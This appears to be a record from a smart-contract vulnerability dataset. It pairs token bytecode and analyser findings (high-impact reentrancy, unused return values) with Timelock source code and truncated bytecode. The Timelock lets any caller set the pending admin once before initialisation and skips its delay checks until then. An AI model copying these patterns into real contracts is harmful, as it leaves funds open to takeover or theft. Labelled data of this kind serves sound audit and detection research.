4906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220742fe8fc4f0014e4996b0b9b0b8994a4de01dcb6bc184bf15a27bdf273390ed664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,250 |
0x053889176621886e8ca98F349C1DEeB3612D2960
|
pragma solidity 0.5.17;
contract Timelock {
using SafeMath for uint256;
/// @notice An event emitted when the timelock admin changes
event NewAdmin(address indexed newAdmin);
/// @notice An event emitted when a new admin is staged in the timelock
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
/// @notice An event emitted when a queued transaction is cancelled
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta);
/// @notice An event emitted when a queued transaction is executed
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta);
/// @notice An event emitted when a new transaction is queued
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint256 value, string signature, bytes data, uint256 eta);
/// @notice the length of time after the delay has passed that a transaction can be executed
uint256 public constant GRACE_PERIOD = 14 days;
/// @notice the minimum length of the timelock delay
uint256 public constant MINIMUM_DELAY = 12 hours + 2*60*15; // have to be present for 2 rebases
/// @notice the maximum length of the timelock delay
uint256 public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint256 public delay;
bool public admin_initialized;
mapping (bytes32 => bool) public queuedTransactions;
constructor()
public
{
/* require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); */
admin = msg.sender;
delay = MINIMUM_DELAY;
admin_initialized = false;
}
function() external payable { }
/**
@notice sets the delay
@param delay_ the new delay
*/
function setDelay(uint256 delay_)
public
{
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
/// @notice sets the new admin address
function acceptAdmin()
public
{
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
/**
@notice queues a new pendingAdmin
@param pendingAdmin_ the new pendingAdmin address
*/
function setPendingAdmin(address pendingAdmin_)
public
{
// allows one time setting of admin for deployment purposes
if (admin_initialized) {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
} else {
admin_initialized = true;
}
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
)
public
returns (bytes32)
{
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
)
public
{
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(
address target,
uint256 value,
string memory signature,
bytes memory data,
uint256 eta
)
public
payable
returns (bytes memory)
{
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
// timelock not enforced prior to updating the admin. This should occur on
// deployment.
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
if (admin_initialized) {
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
}
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint256) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
|
0x6080604052600436106100dd5760003560e01c80636fc1f57e1161007f578063c1a287e211610059578063c1a287e214610787578063e177246e146107b2578063f2b06537146107ed578063f851a44014610840576100dd565b80636fc1f57e146107025780637d645fab14610731578063b1b43ae51461075c576100dd565b80633a66f901116100bb5780633a66f9011461034c5780634dd18bf5146104f3578063591fcdfe146105445780636a42b8f8146106d7576100dd565b80630825f38f146100df5780630e18b681146102de57806326782247146102f5575b005b610263600480360360a08110156100f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561013c57600080fd5b82018360208201111561014e57600080fd5b8035906020019184600183028401116401000000008311171561017057600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156101d357600080fd5b8201836020820111156101e557600080fd5b8035906020019184600183028401116401000000008311171561020757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610897565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102a3578082015181840152602081019050610288565b50505050905090810190601f1680156102d05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102ea57600080fd5b506102f3610f2e565b005b34801561030157600080fd5b5061030a6110bc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035857600080fd5b506104dd600480360360a081101561036f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156103b657600080fd5b8201836020820111156103c857600080fd5b803590602001918460018302840111640100000000831117156103ea57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561044d57600080fd5b82018360208201111561045f57600080fd5b8035906020019184600183028401116401000000008311171561048157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290803590602001909291905050506110e2565b6040518082815260200191505060405180910390f35b3480156104ff57600080fd5b506105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114a8565b005b34801561055057600080fd5b506106d5600480360360a081101561056757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105ae57600080fd5b8201836020820111156105c057600080fd5b803590602001918460018302840111640100000000831117156105e257600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561064557600080fd5b82018360208201111561065757600080fd5b8035906020019184600183028401116401000000008311171561067957600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019092919050505061160b565b005b3480156106e357600080fd5b506106ec611956565b6040518082815260200191505060405180910390f35b34801561070e57600080fd5b5061071761195c565b604051808215151515815260200191505060405180910390f35b34801561073d57600080fd5b5061074661196f565b6040518082815260200191505060405180910390f35b34801561076857600080fd5b50610771611976565b6040518082815260200191505060405180910390f35b34801561079357600080fd5b5061079c61197c565b6040518082815260200191505060405180910390f35b3480156107be57600080fd5b506107eb600480360360208110156107d557600080fd5b8101908080359060200190929190505050611983565b005b3480156107f957600080fd5b506108266004803603602081101561081057600080fd5b8101908080359060200190929190505050611af7565b604051808215151515815260200191505060405180910390f35b34801561084c57600080fd5b50610855611b17565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60606000809054906101000a900473ffffffffffffffffffffffffffffffffffff